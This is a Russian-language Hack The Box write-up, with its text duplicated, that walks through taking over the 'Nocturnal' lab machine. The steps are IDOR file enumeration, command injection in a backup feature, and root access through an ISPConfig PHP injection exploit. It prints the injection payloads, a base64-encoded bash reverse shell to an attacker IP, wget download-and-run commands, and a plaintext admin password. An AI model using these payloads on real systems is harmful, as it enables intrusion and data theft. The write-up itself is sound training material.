stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как IDOR может быть проэксплуатирован для получения приватных данных других пользователей. Затем используем RCE-уязвимость в функции бэкапа сайта, проникнем на веб‑сервер и повысим привилегии через PHP Code Injection в популярном сервисе для хостеров ISPConfig.
Наша конечная цель — получение прав суперпользователя на машине Nocturnal с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
На главной странице появилась форма загрузки файла.
Главная страница авторизованного пользователя
При попытке загрузить файл получаем ошибку, в которой перечислены разрешенные форматы файлов.
Для просмотра ссылки Войдиили Зарегистрируйся
Для теста загружаем любой подходящий файл. После загрузки он отобразится в списке.
Результат загрузки файлов
Интерес представляет ссылка на загруженный файл Для просмотра ссылки Войдиили Зарегистрируйся. Помимо файла, в ней указано и имя пользователя. Если здесь не реализован должный контроль, то мы сможем получить файлы других пользователей.
Ссылка на загруженный файл
Отправим запрос на получение файла в Burp Repeater (комбинации клавиш Ctrl-R и Ctrl-Shift-R) и изменим имя пользователя на любое несуществующее. В ответе получаем ошибку User not found. Раз так, то мы сможем легко перебрать всех зарегистрированных пользователей и посмотреть, будет ли возникать ошибка.
Запрос несуществующего пользователя
Отправляем запрос в Burp Intruder (Ctrl-I и Ctrl-Shift-I) и брутим пользователей по списку. В итоге получаем имена пользователей. В профиле amanda есть приватный документ.
Burp Intruder — вкладка Positions
Burp Intruder — результат подбора
Скачиваем его и находим пароль, который, судя по содержимому документа, используется во всех сервисах.
Содержимое скачанного документа
Профиль пользователя amanda
На главной странице есть ссылка на панель администратора. Там нас встречают файлы с исходным кодом сервиса. Мы можем сделать резервную копию файлов и скачать все содержимое как архив.
Панель администратора
На своей машине открываем каталог со скачанными файлами в любой удобной среде разработки, например VSCodium, и анализируем исходные коды. В файле admin.php находим функцию cleanEntry (строки 44–54), которая используется для фильтрации пробела и следующих символов:
; & | $ ` { } &&
Содержимое файла admin.php
Эти символы можно было бы использовать для внедрения команд ОС. Просматриваем код дальше и находим место, куда потенциально можно внедрить команду. Через proc_open в командной оболочке выполняется команда zip для архивирования каталога с файлами сайта (строка 221).
zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &
Содержимое файла admin.php
В этой команде мы можем контролировать значение переменной password. Среди фильтруемых символов нет перевода строки (код 0A), а вместо пробела будем использовать табуляцию (код 09). Переходим в Burp Repeater и в запросе для создания резервной копии изменяем параметр password. В ответе сервера получаем результат выполнения команды id.
Ответ сервера
Запустим листенер на своем хосте:
Затем веб‑сервер:
В каталоге веб‑сервера сохраняем файл rs с реверс‑шеллом.
Когда все готово, через уязвимость на сайте выполняем три команды: скачать реверс‑шелл, дать право на исполнение и выполнить команду. Так мы получаем сессию от имени пользователя веб‑сервера www-data.
Сессия пользователя www-data
Содержимое каталога nocturnal_database
Скачиваем файл nocturnal_database.db на свою машину, открываем в Для просмотра ссылки Войдиили Зарегистрируйся и находим таблицу users.
Содержимое таблицы users
В таблице — список логинов и хешей, скорее всего MD5. Проверим их по онлайн‑базе Для просмотра ссылки Войдиили Зарегистрируйся.
Результат проверки хешей
Так мы получаем пароль пользователя tobias. Авторизуемся по SSH от его имени и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем посмотрим, что интересного он нашел.
В системе есть пользователи ispconfig и ispapps.
Пользователи с консолью
В каталоге веб‑сервера находим ссылку на приложение ispconfig.
Содержимое каталога веб‑сервера
На сервере прослушивается веб‑порт 8080.
Прослушиваемые порты
Так как порт прослушивается для адреса 127.0.0.1, необходимо прокинуть порт 8080 на свой хост с помощью SSH.
Теперь весь трафик, который мы пошлем на локальный порт 8080, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Сделав это, можем зайти на сервис через браузер.
Страница авторизации ISPConfig
Нас встретила форма авторизации ISPConfig. Используем имеющийся у нас пароль и авторизуемся от имени пользователя admin.
Панель администратора ISPConfig
На странице Help находим версию приложения — 3.2.10p1.
Страница Help
Когда мы знаем, какой софт установлен на сервере и какая у него версия, стоит сразу искать известные уязвимости и готовые эксплоиты.
Поиск эксплоитов в Google
По первой Для просмотра ссылки Войдиили Зарегистрируйся из Google описана уязвимость Для просмотра ссылки Войди или Зарегистрируйся. Если в этой версии ISPConfig активна опция admin_allow_langedit, то администратор может исполнять PHP-код в языковом редакторе. Воспользуемся готовым Для просмотра ссылки Войди или Зарегистрируйся для получения псевдошелла от имени root.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Nocturnal с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.64 nocturnal.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0.

Точка входа
На сайте можно зарегистрироваться, а для нас это просто обязательно, ведь авторизованному пользователю будет доступно больше возможностей.На главной странице появилась форма загрузки файла.

При попытке загрузить файл получаем ошибку, в которой перечислены разрешенные форматы файлов.
Для просмотра ссылки Войди
Для теста загружаем любой подходящий файл. После загрузки он отобразится в списке.

Интерес представляет ссылка на загруженный файл Для просмотра ссылки Войди

Отправим запрос на получение файла в Burp Repeater (комбинации клавиш Ctrl-R и Ctrl-Shift-R) и изменим имя пользователя на любое несуществующее. В ответе получаем ошибку User not found. Раз так, то мы сможем легко перебрать всех зарегистрированных пользователей и посмотреть, будет ли возникать ошибка.

Отправляем запрос в Burp Intruder (Ctrl-I и Ctrl-Shift-I) и брутим пользователей по списку. В итоге получаем имена пользователей. В профиле amanda есть приватный документ.


Скачиваем его и находим пароль, который, судя по содержимому документа, используется во всех сервисах.

Точка опоры
С полученными учетными данными авторизуемся на сайте от имени пользователя amanda.
На главной странице есть ссылка на панель администратора. Там нас встречают файлы с исходным кодом сервиса. Мы можем сделать резервную копию файлов и скачать все содержимое как архив.

На своей машине открываем каталог со скачанными файлами в любой удобной среде разработки, например VSCodium, и анализируем исходные коды. В файле admin.php находим функцию cleanEntry (строки 44–54), которая используется для фильтрации пробела и следующих символов:
; & | $ ` { } &&

Эти символы можно было бы использовать для внедрения команд ОС. Просматриваем код дальше и находим место, куда потенциально можно внедрить команду. Через proc_open в командной оболочке выполняется команда zip для архивирования каталога с файлами сайта (строка 221).
zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &

В этой команде мы можем контролировать значение переменной password. Среди фильтруемых символов нет перевода строки (код 0A), а вместо пробела будем использовать табуляцию (код 09). Переходим в Burp Repeater и в запросе для создания резервной копии изменяем параметр password. В ответе сервера получаем результат выполнения команды id.
%0Abash%09-c%09"id"%0A

Запустим листенер на своем хосте:
pwncat-cs -lp 4321
Затем веб‑сервер:
python3 -m http.server
В каталоге веб‑сервера сохраняем файл rs с реверс‑шеллом.
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDMyMSAwPiYx | base64 -d | bash
Когда все готово, через уязвимость на сайте выполняем три команды: скачать реверс‑шелл, дать право на исполнение и выполнить команду. Так мы получаем сессию от имени пользователя веб‑сервера www-data.
Код:
%0Abash%09-c%09"wget%0910.10.14.103:8000/rs"%0A
%0Abash%09-c%09"chmod%09777%09rs"%0A
%0Abash%09-c%09"bash%09rs"%0A

Продвижение
Для продвижения к учетной записи пользователя чаще всего нужно искать учетные данные для разных баз, сервисов и служб. Так как на веб‑сервере работает сайт, то первая мысль — читать настройки сайта для подключения базы данных, а также содержимое самой базы данных. Но в данном случае используется файл базы данных.
Скачиваем файл nocturnal_database.db на свою машину, открываем в Для просмотра ссылки Войди

В таблице — список логинов и хешей, скорее всего MD5. Проверим их по онлайн‑базе Для просмотра ссылки Войди

Так мы получаем пароль пользователя tobias. Авторизуемся по SSH от его имени и забираем первый флаг.

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я обычно использую для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем посмотрим, что интересного он нашел.
В системе есть пользователи ispconfig и ispapps.

В каталоге веб‑сервера находим ссылку на приложение ispconfig.

На сервере прослушивается веб‑порт 8080.

Так как порт прослушивается для адреса 127.0.0.1, необходимо прокинуть порт 8080 на свой хост с помощью SSH.
ssh [EMAIL]tobias@nocturnal.htb[/EMAIL] -L 8080:127.0.0.1:8080
Теперь весь трафик, который мы пошлем на локальный порт 8080, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Сделав это, можем зайти на сервис через браузер.

Нас встретила форма авторизации ISPConfig. Используем имеющийся у нас пароль и авторизуемся от имени пользователя admin.

На странице Help находим версию приложения — 3.2.10p1.

Когда мы знаем, какой софт установлен на сервере и какая у него версия, стоит сразу искать известные уязвимости и готовые эксплоиты.

По первой Для просмотра ссылки Войди
python3 exploit.py [URL]http://127.0.0.1:8080/[/URL] admin slowmotionapocalypse

Машина захвачена!